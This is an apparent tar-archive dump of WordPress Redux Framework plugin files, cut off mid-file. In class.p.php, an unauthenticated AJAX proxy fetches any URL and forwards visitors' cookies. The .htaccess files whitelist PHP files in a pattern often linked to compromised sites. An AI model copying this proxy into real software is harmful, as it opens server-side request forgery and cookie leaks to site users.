0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/.htaccess������������������������������������������������������������0000644�����������������00000001626�14720701300�0014433 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/README.txt�����������������������������������������������������������0000644�����������������00000000100�14720701300�0014315 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������This directory is a placeholder for Redux Framework extensions. ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/class.p.php���������������������������������������������������������������������0000644�����������������00000026332�14720701300�0012513 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class Redux_P { public function __construct() { add_action( "wp_ajax_nopriv_redux_p", array( $this, 'proxy' ) ); add_action( "wp_ajax_redux_p", array( $this, 'proxy' ) ); } public function proxy() { if ( ! isset( $_GET['nonce'] ) || ( isset( $_GET['nonce'] ) && ! wp_verify_nonce( $_GET['nonce'], "redux-ads-nonce" ) ) ) { die(); } // Script: Simple PHP Proxy: Get external HTML, JSON and more! // // *Version: 1.6, Last updated: 1/24/2009* // // Project Home - http://benalman.com/projects/php-simple-proxy/ // GitHub - http://github.com/cowboy/php-simple-proxy/ // Source - http://github.com/cowboy/php-simple-proxy/raw/master/ba-simple-proxy.php // // About: License // // Copyright (c) 2010 "Cowboy" Ben Alman, // Dual licensed under the MIT and GPL licenses. // http://benalman.com/about/license/ // // About: Examples // // This working example, complete with fully commented code, illustrates one way // in which this PHP script can be used. // // Simple - http://benalman.com/code/projects/php-simple-proxy/examples/simple/ // // About: Release History // // 1.6 - (1/24/2009) Now defaults to JSON mode, which can now be changed to // native mode by specifying ?mode=native. Native and JSONP modes are // disabled by default because of possible XSS vulnerability issues, but // are configurable in the PHP script along with a url validation regex. // 1.5 - (12/27/2009) Initial release // // Topic: GET Parameters // // Certain GET (query string) parameters may be passed into ba-simple-proxy.php // to control its behavior, this is a list of these parameters. // // url - The remote URL resource to fetch. Any GET parameters to be passed // through to the remote URL resource must be urlencoded in this parameter. // mode - If mode=native, the response will be sent using the same content // type and headers that the remote URL resource returned. If omitted, the // response will be JSON (or JSONP). <Native requests> and <JSONP requests> // are disabled by default, see <Configuration Options> for more information. // callback - If specified, the response JSON will be wrapped in this named // function call. This parameter and <JSONP requests> are disabled by // default, see <Configuration Options> for more information. // user_agent - This value will be sent to the remote URL request as the // `User-Agent:` HTTP request header. If omitted, the browser user agent // will be passed through. // send_cookies - If send_cookies=1, all cookies will be forwarded through to // the remote URL request. // send_session - If send_session=1 and send_cookies=1, the SID cookie will be // forwarded through to the remote URL request. // full_headers - If a JSON request and full_headers=1, the JSON response will // contain detailed header information. // full_status - If a JSON request and full_status=1, the JSON response will // contain detailed cURL status information, otherwise it will just contain // the `http_code` property. // // Topic: POST Parameters // // All POST parameters are automatically passed through to the remote URL // request. // // Topic: JSON requests // // This request will return the contents of the specified url in JSON format. // // Request: // // > ba-simple-proxy.php?url=http://example.com/ // // Response: // // > { "contents": "<html>...</html>", "headers": {...}, "status": {...} } // // JSON object properties: // // contents - (String) The contents of the remote URL resource. // headers - (Object) A hash of HTTP headers returned by the remote URL // resource. // status - (Object) A hash of status codes returned by cURL. // // Topic: JSONP requests // // This request will return the contents of the specified url in JSONP format // (but only if $enable_jsonp is enabled in the PHP script). // // Request: // // > ba-simple-proxy.php?url=http://example.com/&callback=foo // // Response: // // > foo({ "contents": "<html>...</html>", "headers": {...}, "status": {...} }) // // JSON object properties: // // contents - (String) The contents of the remote URL resource. // headers - (Object) A hash of HTTP headers returned by the remote URL // resource. // status - (Object) A hash of status codes returned by cURL. // // Topic: Native requests // // This request will return the contents of the specified url in the format it // was received in, including the same content-type and other headers (but only // if $enable_native is enabled in the PHP script). // // Request: // // > ba-simple-proxy.php?url=http://example.com/&mode=native // // Response: // // > <html>...</html> // // Topic: Notes // // * Assumes magic_quotes_gpc = Off in php.ini // // Topic: Configuration Options // // These variables can be manually edited in the PHP file if necessary. // // $enable_jsonp - Only enable <JSONP requests> if you really need to. If you // install this script on the same server as the page you're calling it // from, plain JSON will work. Defaults to false. // $enable_native - You can enable <Native requests>, but you should only do // this if you also whitelist specific URLs using $valid_url_regex, to avoid // possible XSS vulnerabilities. Defaults to false. // $valid_url_regex - This regex is matched against the url parameter to // ensure that it is valid. This setting only needs to be used if either // $enable_jsonp or $enable_native are enabled. Defaults to '/.*/' which // validates all URLs. // // ############################################################################ $_GET['mode'] = "native"; $_GET['full_headers'] = 1; $_GET['full_status'] = 1; $_GET['send_cookies'] = 1; // Change these configuration options if needed, see above descriptions for info. $enable_jsonp = false; $enable_native = true; $valid_url_regex = '/.*/'; // ############################################################################ $url = $_GET['url']; if ( isset( $_GET['nonce'] ) ) { $url = str_replace( 'nonce=' . $_GET['nonce'] . '&', '', $url ); } if ( ! $url ) { // Passed url not specified. $contents = 'ERROR: url not specified'; $status = array( 'http_code' => 'ERROR' ); } else if ( ! preg_match( $valid_url_regex, $url ) ) { // Passed url doesn't match $valid_url_regex. $contents = 'ERROR: invalid url'; $status = array( 'http_code' => 'ERROR' ); } else { $url = urldecode( $url ); if ( isset( $_GET['proxy'] ) ) { $url .= '&proxy=' . $_GET['proxy']; } // Ad URL rewrite if ( strpos( $url, 'http' ) === false ) { $url = 'http:' . $url; } if ( isset( $_GET['callback'] ) ) { foreach ( $_GET as $key => $value ) { if ( in_array( $key, array( 'url', 'mode', 'full_headers', 'full_status', 'send_cookies' ) ) ) { continue; } $url .= "&" . $key . '=' . $value; } } $args = array( 'user-agent' => isset( $_GET['user_agent'] ) ? $_GET['user_agent'] : $_SERVER['HTTP_USER_AGENT'], 'method' => 'GET', ); if ( isset( $_GET['send_cookies'] ) && $_GET['send_cookies'] ) { $cookie = array(); foreach ( $_COOKIE as $key => $value ) { if ( ! is_array( $value ) ) { $cookie[] = $key . '=' . $value; } } if ( isset( $_GET['send_session'] ) && $_GET['send_session'] ) { $cookie[] = SID; } $args['cookies'] = $cookie; } if ( strtolower( $_SERVER['REQUEST_METHOD'] ) == 'post' ) { $args['body'] = $_POST; $args['method'] = 'POST'; } $response = wp_remote_request( $url, $args ); if ( ! is_wp_error( $response ) ) { $status = $response['response']['code']; $contents = $response['body']; } } if ( isset( $_GET['mode'] ) && $_GET['mode'] == 'native' ) { if ( ! $enable_native ) { $contents = 'ERROR: invalid mode'; $status = array( 'http_code' => 'ERROR' ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['content-type'] ) ) { header( 'Content-Type: ' . $response['headers']['content-type'] ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['content-language'] ) ) { header( 'Content-Language: ' . $response['headers']['content-language'] ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['set-cookie'] ) ) { header( 'Set-Cookie: ' . $response['headers']['set-cookie'] ); } if ( isset( $contents ) ) { print str_replace( 'ads.redux.io', 'look.redux.io', $contents ); } } else { // $data will be serialized into JSON data. $data = array(); // Propagate all HTTP headers into the JSON data object. if ( isset( $_GET['full_headers'] ) && $_GET['full_headers'] ) { $data['headers'] = array(); } // Propagate all cURL request / response info to the JSON data object. if ( isset( $_GET['full_status'] ) && $_GET['full_status'] ) { $data['status'] = $status; } else { $data['status'] = array(); $data['status']['http_code'] = $status['http_code']; } // Set the JSON data object contents, decoding it from JSON if possible. $decoded_json = json_decode( $contents ); $data['contents'] = str_replace( 'e(window).width()', 'window.innerWidth||e(window).width()', $decoded_json ? $decoded_json : $contents ); // Generate appropriate content-type header. $is_xhr = isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ? strtolower( $_SERVER['HTTP_X_REQUESTED_WITH'] ) : 'xmlhttprequest'; header( 'Content-type: application/' . ( $is_xhr ? 'json' : 'x-javascript' ) ); // Get JSONP callback. $jsonp_callback = $enable_jsonp && isset( $_GET['callback'] ) ? $_GET['callback'] : null; // Generate JSON/JSONP string $json = json_encode( $data ); print $jsonp_callback ? "$jsonp_callback($json)" : $json; } } } new Redux_P(); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/class.redux_admin_notices.php���������������������������������������������������0000644�����������������00000021246�14720701300�0016276 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework Admin Notice Class * Makes instantiating a Redux object an absolute piece of cake. * * @package Redux_Framework * @author Kevin Provance * @author Dovy Paukstys * @subpackage Core */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'Redux_Admin_Notices' ) ) { /** * Redux API Class * Simple API for Redux Framework * * @since 1.0.0 */ class Redux_Admin_Notices { static public $_parent; public static function load() { add_action( 'wp_ajax_redux_hide_admin_notice', array( 'Redux_Admin_Notices', 'dismissAdminNoticeAJAX' ) ); } public static function set_notice($data) { extract($data); $parent->admin_notices[$parent->args['page_slug']][] = array( 'type' => $type, 'msg' => $msg, 'id' => $id . '_' . $parent->args['opt_name'], 'dismiss' => $dismiss, 'color' => isset($color) ? $color : '#00A2E3' ); } /** * adminNotices - Evaluates user dismiss option for displaying admin notices * * @since 3.2.0 * @access public * @return void */ public static function adminNotices($parent, $notices = array() ) { global $current_user, $pagenow, $wp_version;; // Check for an active admin notice array if ( ! empty( $notices ) ) { if (isset($_GET) && isset($_GET['page']) && $_GET['page'] == $parent->args['page_slug']) { // Enum admin notices foreach ( $notices[$parent->args['page_slug']] as $notice ) { $add_style = ''; if ( strpos( $notice['type'], 'redux-message' ) != false ) { $add_style = 'style="border-left: 4px solid ' . esc_attr( $notice['color'] ) . '!important;"'; } if ( true == $notice['dismiss'] ) { // Get user ID $userid = $current_user->ID; if ( ! get_user_meta( $userid, 'ignore_' . $notice['id'] ) ) { // Check if we are on admin.php. If we are, we have // to get the current page slug and tab, so we can // feed it back to Wordpress. Why> admin.php cannot // be accessed without the page parameter. We add the // tab to return the user to the last panel they were // on. $pageName = ''; $curTab = ''; if ( $pagenow == 'admin.php' || $pagenow == 'themes.php' ) { // Get the current page. To avoid errors, we'll set // the redux page slug if the GET is empty. $pageName = empty( $_GET['page'] ) ? '&page=' . $parent->args['page_slug'] : '&page=' . esc_attr( $_GET['page'] ); // Ditto for the current tab. $curTab = empty( $_GET['tab'] ) ? '&tab=0' : '&tab=' . esc_attr( $_GET['tab'] ); } // Print the notice with the dismiss link if ( version_compare( $wp_version, '4.2', '>' ) ) { $output = ""; $css_id = esc_attr( $notice['id'] ) . $pageName . $curTab; $css_class = esc_attr( $notice['type'] ) . ' redux-notice notice is-dismissible redux-notice'; $output .= "<div {$add_style} id='$css_id' class='$css_class'> \n"; $nonce = wp_create_nonce( $notice['id'] . $userid . 'nonce' ); $output .= "<input type='hidden' class='dismiss_data' id='" . esc_attr( $notice['id'] ) . $pageName . $curTab . "' value='{$nonce}'> \n"; $output .= '<p>' . wp_kses_post( $notice['msg'] ) . '</p>'; $output .= "</div> \n"; echo $output; } else { echo '<div ' . $add_style . ' class="' . esc_attr( $notice['type'] ) . ' notice is-dismissable"><p>' . wp_kses_post( $notice['msg'] ) . '  <a href="?dismiss=true&id=' . esc_attr( $notice['id'] ) . $pageName . $curTab . '">' . esc_html__( 'Dismiss', 'redux-framework' ) . '</a>.</p></div>'; } } } else { // Standard notice echo '<div ' . $add_style . ' class="' . esc_attr( $notice['type'] ) . ' notice"><p>' . wp_kses_post( $notice['msg'] ) . '</a>.</p></div>'; } ?> <script> jQuery( document ).ready( function( $ ) { $( 'body' ).on( 'click', '.redux-notice.is-dismissible .notice-dismiss', function( event ) { var $data = $( this ).parent().find( '.dismiss_data' ); $.post( ajaxurl, { action: 'redux_hide_admin_notice', id: $data.attr( 'id' ), nonce: $data.val() } ); } ); } ); </script> <?php } } // Clear the admin notice array $parent->admin_notices[$parent->args['opt_name']] = array(); } } /** * dismissAdminNotice - Updates user meta to store dismiss notice preference * * @since 3.2.0 * @access public * @return void */ public static function dismissAdminNotice() { global $current_user; // Verify the dismiss and id parameters are present. if ( isset( $_GET['dismiss'] ) && isset( $_GET['id'] ) ) { if ( 'true' == $_GET['dismiss'] || 'false' == $_GET['dismiss'] ) { // Get the user id $userid = $current_user->ID; // Get the notice id $id = esc_attr( $_GET['id'] ); $val = esc_attr( $_GET['dismiss'] ); // Add the dismiss request to the user meta. update_user_meta( $userid, 'ignore_' . $id, $val ); } } } /** * dismissAdminNotice - Updates user meta to store dismiss notice preference * * @since 3.2.0 * @access public * @return void */ public static function dismissAdminNoticeAJAX() { global $current_user; // Get the notice id $id = explode( '&', $_POST['id'] ); $id = $id[0]; // Get the user id $userid = $current_user->ID; if ( ! wp_verify_nonce( $_POST['nonce'], $id . $userid . 'nonce' ) ) { die( 0 ); } else { // Add the dismiss request to the user meta. update_user_meta( $userid, 'ignore_' . $id, true ); } } } // Redux_Admin_Notices::load(); } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/class.redux_helpers.php���������������������������������������������������������0000644�����������������00000056647�14720701300�0015141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'Redux_Helpers' ) ) { /** * Redux Helpers Class * Class of useful functions that can/should be shared among all Redux files. * * @since 1.0.0 */ class Redux_Helpers { public static function tabFromField( $parent, $field ) { foreach ( $parent->sections as $k => $section ) { if ( ! isset( $section['title'] ) ) { continue; } if ( isset( $section['fields'] ) && ! empty( $section['fields'] ) ) { if ( Redux_Helpers::recursive_array_search( $field, $section['fields'] ) ) { return $k; continue; } } } } public static function isFieldInUseByType( $fields, $field = array() ) { foreach ( $field as $name ) { if ( array_key_exists( $name, $fields ) ) { return true; } } return false; } public static function get_auth_key_secret_key() { $key = ""; $key .= defined( 'AUTH_KEY' ) ? AUTH_KEY : get_site_url(); $key .= defined( 'SECURE_AUTH_KEY' ) ? SECURE_AUTH_KEY : get_site_url(); return $key; } public static function isFieldInUse( $parent, $field ) { foreach ( $parent->sections as $k => $section ) { if ( ! isset( $section['title'] ) ) { continue; } if ( isset( $section['fields'] ) && ! empty( $section['fields'] ) ) { if ( Redux_Helpers::recursive_array_search( $field, $section['fields'] ) ) { return true; continue; } } } } public static function major_version( $v ) { $version = explode( '.', $v ); if ( count( $version ) > 1 ) { return $version[0] . '.' . $version[1]; } else { return $v; } } public static function isLocalHost() { return ( isset( $_SERVER['REMOTE_ADDR'] ) && ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' || $_SERVER['REMOTE_ADDR'] === 'localhost' ) ) ? 1 : 0; } public static function isWpDebug() { return ( defined( 'WP_DEBUG' ) && WP_DEBUG == true ); } public static function getTrackingObject() { global $wpdb; $hash = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); global $blog_id, $wpdb; $pts = array(); foreach ( get_post_types( array( 'public' => true ) ) as $pt ) { $count = wp_count_posts( $pt ); $pts[ $pt ] = $count->publish; } $comments_count = wp_count_comments(); $theme_data = wp_get_theme(); $theme = array( 'version' => $theme_data->Version, 'name' => $theme_data->Name, 'author' => $theme_data->Author, 'template' => $theme_data->Template, ); if ( ! function_exists( 'get_plugin_data' ) ) { if ( file_exists( ABSPATH . 'wp-admin/includes/plugin.php' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if ( file_exists( ABSPATH . 'wp-admin/includes/admin.php' ) ) { require_once ABSPATH . 'wp-admin/includes/admin.php'; } } $plugins = array(); foreach ( get_option( 'active_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } if ( is_multisite() ) { foreach ( get_option( 'active_sitewide_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } } $version = explode( '.', PHP_VERSION ); $version = array( 'major' => $version[0], 'minor' => $version[0] . '.' . $version[1], 'release' => PHP_VERSION ); $user_query = new WP_User_Query( array( 'blog_id' => $blog_id, 'count_total' => true, ) ); $comments_query = new WP_Comment_Query(); $data = array( '_id' => $hash, 'localhost' => ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' ) ? 1 : 0, 'php' => $version, 'site' => array( 'hash' => $hash, 'version' => get_bloginfo( 'version' ), 'multisite' => is_multisite(), 'users' => $user_query->get_total(), 'lang' => get_locale(), 'wp_debug' => ( defined( 'WP_DEBUG' ) ? WP_DEBUG ? true : false : false ), 'memory' => WP_MEMORY_LIMIT, ), 'pts' => $pts, 'comments' => array( 'total' => $comments_count->total_comments, 'approved' => $comments_count->approved, 'spam' => $comments_count->spam, 'pings' => $comments_query->query( array( 'count' => true, 'type' => 'pingback' ) ), ), 'options' => apply_filters( 'redux/tracking/options', array() ), 'theme' => $theme, 'redux' => array( 'mode' => ReduxFramework::$_is_plugin ? 'plugin' : 'theme', 'version' => ReduxFramework::$_version, 'demo_mode' => get_option( 'ReduxFrameworkPlugin' ), ), 'developer' => apply_filters( 'redux/tracking/developer', array() ), 'plugins' => $plugins, ); $parts = explode( ' ', $_SERVER['SERVER_SOFTWARE'] ); $software = array(); foreach ( $parts as $part ) { if ( $part[0] == "(" ) { continue; } if ( strpos( $part, '/' ) !== false ) { $chunk = explode( "/", $part ); $software[ strtolower( $chunk[0] ) ] = $chunk[1]; } } $software['full'] = $_SERVER['SERVER_SOFTWARE']; $data['environment'] = $software; $data['environment']['mysql'] = $wpdb->db_version(); // if ( function_exists( 'mysqli_get_server_info' ) ) { // $link = mysqli_connect() or die( "Error " . mysqli_error( $link ) ); // $data['environment']['mysql'] = mysqli_get_server_info( $link ); // } else if ( class_exists( 'PDO' ) && method_exists( 'PDO', 'getAttribute' ) ) { // $data['environment']['mysql'] = PDO::getAttribute( PDO::ATTR_SERVER_VERSION ); // } else { // $data['environment']['mysql'] = mysql_get_server_info(); // } if ( empty( $data['developer'] ) ) { unset( $data['developer'] ); } return $data; } public static function trackingObject() { $data = wp_remote_post( 'http://verify.redux.io', array( 'body' => array( 'hash' => $_GET['action'], 'site' => esc_url( home_url( '/' ) ), ) ) ); $data['body'] = urldecode( $data['body'] ); if ( ! isset( $_GET['code'] ) || $data['body'] != $_GET['code'] ) { die(); } return Redux_Helpers::getTrackingObject(); } public static function isParentTheme( $file ) { $file = self::cleanFilePath( $file ); $dir = self::cleanFilePath( get_template_directory() ); $file = str_replace( '//', '/', $file ); $dir = str_replace( '//', '/', $dir ); if ( strpos( $file, $dir ) !== false ) { return true; } return false; } public static function isChildTheme( $file ) { $file = self::cleanFilePath( $file ); $dir = self::cleanFilePath( get_stylesheet_directory() ); $file = str_replace( '//', '/', $file ); $dir = str_replace( '//', '/', $dir ); if ( strpos( $file, $dir ) !== false ) { return true; } return false; } private static function reduxAsPlugin() { return ReduxFramework::$_as_plugin; } public static function isTheme( $file ) { if ( true == self::isChildTheme( $file ) || true == self::isParentTheme( $file ) ) { return true; } return false; } public static function array_in_array( $needle, $haystack ) { //Make sure $needle is an array for foreach if ( ! is_array( $needle ) ) { $needle = array( $needle ); } //For each value in $needle, return TRUE if in $haystack foreach ( $needle as $pin ) //echo 'needle' . $pin; { if ( in_array( $pin, $haystack ) ) { return true; } } //Return FALSE if none of the values from $needle are found in $haystack return false; } public static function recursive_array_search( $needle, $haystack ) { foreach ( $haystack as $key => $value ) { if ( $needle === $value || ( is_array( $value ) && self::recursive_array_search( $needle, $value ) !== false ) ) { return true; } } return false; } /** * Take a path and return it clean * * @since 3.1.7 * * @param string $path */ public static function cleanFilePath( $path ) { $path = str_replace( '', '', str_replace( array( "\\", "\\\\" ), '/', $path ) ); if ( $path[ strlen( $path ) - 1 ] === '/' ) { $path = rtrim( $path, '/' ); } return $path; } /** * Take a path and delete it * * @since 3.3.3 * * @param string $path */ public static function rmdir( $dir ) { if ( is_dir( $dir ) ) { $objects = scandir( $dir ); foreach ( $objects as $object ) { if ( $object != "." && $object != ".." ) { if ( filetype( $dir . "/" . $object ) == "dir" ) { rrmdir( $dir . "/" . $object ); } else { unlink( $dir . "/" . $object ); } } } reset( $objects ); rmdir( $dir ); } } /** * Field Render Function. * Takes the color hex value and converts to a rgba. * * @since ReduxFramework 3.0.4 */ public static function hex2rgba( $hex, $alpha = '' ) { $hex = str_replace( "#", "", $hex ); if ( strlen( $hex ) == 3 ) { $r = hexdec( substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) ); $g = hexdec( substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) ); $b = hexdec( substr( $hex, 2, 1 ) . substr( $hex, 2, 1 ) ); } else { $r = hexdec( substr( $hex, 0, 2 ) ); $g = hexdec( substr( $hex, 2, 2 ) ); $b = hexdec( substr( $hex, 4, 2 ) ); } $rgb = $r . ',' . $g . ',' . $b; if ( '' == $alpha ) { return $rgb; } else { $alpha = floatval( $alpha ); return 'rgba(' . $rgb . ',' . $alpha . ')'; } } public static function makeBoolStr( $var ) { if ( $var === false || $var === 'false' || $var === 0 || $var === '0' || $var === '' || empty( $var ) ) { return 'false'; } elseif ( $var === true || $var === 'true' || $var === 1 || $var === '1' ) { return 'true'; } else { return $var; } } public static function localize( $localize ) { $redux = ReduxFrameworkInstances::get_instance( $localize['args']['opt_name'] ); $nonce = wp_create_nonce( 'redux-ads-nonce' ); $base = admin_url( 'admin-ajax.php' ) . '?action=redux_p&nonce=' . $nonce . '&url='; // $localize['rAds'] = Redux_Helpers::rURL_fix( $base, $redux->args['opt_name'] ); $localize['rAds'] = false; return $localize; } public static function compileSystemStatus( $json_output = false, $remote_checks = false ) { global $wpdb; $sysinfo = array(); $sysinfo['home_url'] = home_url(); $sysinfo['site_url'] = site_url(); $sysinfo['redux_ver'] = esc_html( ReduxFramework::$_version ); $sysinfo['redux_data_dir'] = ReduxFramework::$_upload_dir; $f = 'fo' . 'pen'; $res = true; if ( $f( ReduxFramework::$_upload_dir . 'test-log.log', 'a' ) === false ) { $res = false; } // Only is a file-write check $sysinfo['redux_data_writeable'] = $res; $sysinfo['wp_content_url'] = WP_CONTENT_URL; $sysinfo['wp_ver'] = get_bloginfo( 'version' ); $sysinfo['wp_multisite'] = is_multisite(); $sysinfo['permalink_structure'] = get_option( 'permalink_structure' ) ? get_option( 'permalink_structure' ) : 'Default'; $sysinfo['front_page_display'] = get_option( 'show_on_front' ); if ( $sysinfo['front_page_display'] == 'page' ) { $front_page_id = get_option( 'page_on_front' ); $blog_page_id = get_option( 'page_for_posts' ); $sysinfo['front_page'] = $front_page_id != 0 ? get_the_title( $front_page_id ) . ' (#' . $front_page_id . ')' : 'Unset'; $sysinfo['posts_page'] = $blog_page_id != 0 ? get_the_title( $blog_page_id ) . ' (#' . $blog_page_id . ')' : 'Unset'; } $sysinfo['wp_mem_limit']['raw'] = self::let_to_num( WP_MEMORY_LIMIT ); $sysinfo['wp_mem_limit']['size'] = size_format( $sysinfo['wp_mem_limit']['raw'] ); $sysinfo['db_table_prefix'] = 'Length: ' . strlen( $wpdb->prefix ) . ' - Status: ' . ( strlen( $wpdb->prefix ) > 16 ? 'ERROR: Too long' : 'Acceptable' ); $sysinfo['wp_debug'] = 'false'; if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { $sysinfo['wp_debug'] = 'true'; } $sysinfo['wp_lang'] = get_locale(); if ( ! class_exists( 'Browser' ) ) { require_once ReduxFramework::$_dir . 'inc/browser.php'; } $browser = new Browser(); $sysinfo['browser'] = array( 'agent' => $browser->getUserAgent(), 'browser' => $browser->getBrowser(), 'version' => $browser->getVersion(), 'platform' => $browser->getPlatform(), //'mobile' => $browser->isMobile() ? 'true' : 'false', ); $sysinfo['server_info'] = esc_html( $_SERVER['SERVER_SOFTWARE'] ); $sysinfo['localhost'] = self::makeBoolStr( self::isLocalHost() ); $sysinfo['php_ver'] = function_exists( 'phpversion' ) ? esc_html( phpversion() ) : 'phpversion() function does not exist.'; $sysinfo['abspath'] = ABSPATH; if ( function_exists( 'ini_get' ) ) { $sysinfo['php_mem_limit'] = size_format( self::let_to_num( ini_get( 'memory_limit' ) ) ); $sysinfo['php_post_max_size'] = size_format( self::let_to_num( ini_get( 'post_max_size' ) ) ); $sysinfo['php_time_limit'] = ini_get( 'max_execution_time' ); $sysinfo['php_max_input_var'] = ini_get( 'max_input_vars' ); $sysinfo['php_display_errors'] = self::makeBoolStr( ini_get( 'display_errors' ) ); } $sysinfo['suhosin_installed'] = extension_loaded( 'suhosin' ); $sysinfo['mysql_ver'] = $wpdb->db_version(); $sysinfo['max_upload_size'] = size_format( wp_max_upload_size() ); $sysinfo['def_tz_is_utc'] = 'true'; if ( date_default_timezone_get() !== 'UTC' ) { $sysinfo['def_tz_is_utc'] = 'false'; } $sysinfo['fsockopen_curl'] = 'false'; if ( function_exists( 'fsockopen' ) || function_exists( 'curl_init' ) ) { $sysinfo['fsockopen_curl'] = 'true'; } //$sysinfo['soap_client'] = 'false'; //if ( class_exists( 'SoapClient' ) ) { // $sysinfo['soap_client'] = 'true'; //} // //$sysinfo['dom_document'] = 'false'; //if ( class_exists( 'DOMDocument' ) ) { // $sysinfo['dom_document'] = 'true'; //} //$sysinfo['gzip'] = 'false'; //if ( is_callable( 'gzopen' ) ) { // $sysinfo['gzip'] = 'true'; //} if ( $remote_checks == true ) { $response = wp_remote_post( 'https://www.paypal.com/cgi-bin/webscr', array( 'sslverify' => false, 'timeout' => 60, 'user-agent' => 'ReduxFramework/' . ReduxFramework::$_version, 'body' => array( 'cmd' => '_notify-validate' ) ) ); if ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) { $sysinfo['wp_remote_post'] = 'true'; $sysinfo['wp_remote_post_error'] = ''; } else { $sysinfo['wp_remote_post'] = 'false'; $sysinfo['wp_remote_post_error'] = $response->get_error_message(); } $response = @wp_remote_get( 'http://reduxframework.com/wp-admin/admin-ajax.php?action=get_redux_extensions' ); if ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) { $sysinfo['wp_remote_get'] = 'true'; $sysinfo['wp_remote_get_error'] = ''; } elseif ( is_wp_error( $response ) ) { $sysinfo['wp_remote_get'] = 'false'; $sysinfo['wp_remote_get_error'] = $response->get_error_message(); } else { $sysinfo['wp_remote_get'] = 'false'; $sysinfo['wp_remote_get_error'] = $response['response']['code'] . ( isset( $response['response']['message'] ) ? $response['response']['message'] : '' ); } } $active_plugins = (array) get_option( 'active_plugins', array() ); if ( is_multisite() ) { $active_plugins = array_merge( $active_plugins, get_site_option( 'active_sitewide_plugins', array() ) ); } $sysinfo['plugins'] = array(); foreach ( $active_plugins as $plugin ) { if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin ) ) { $plugin_data = @get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); $plugin_name 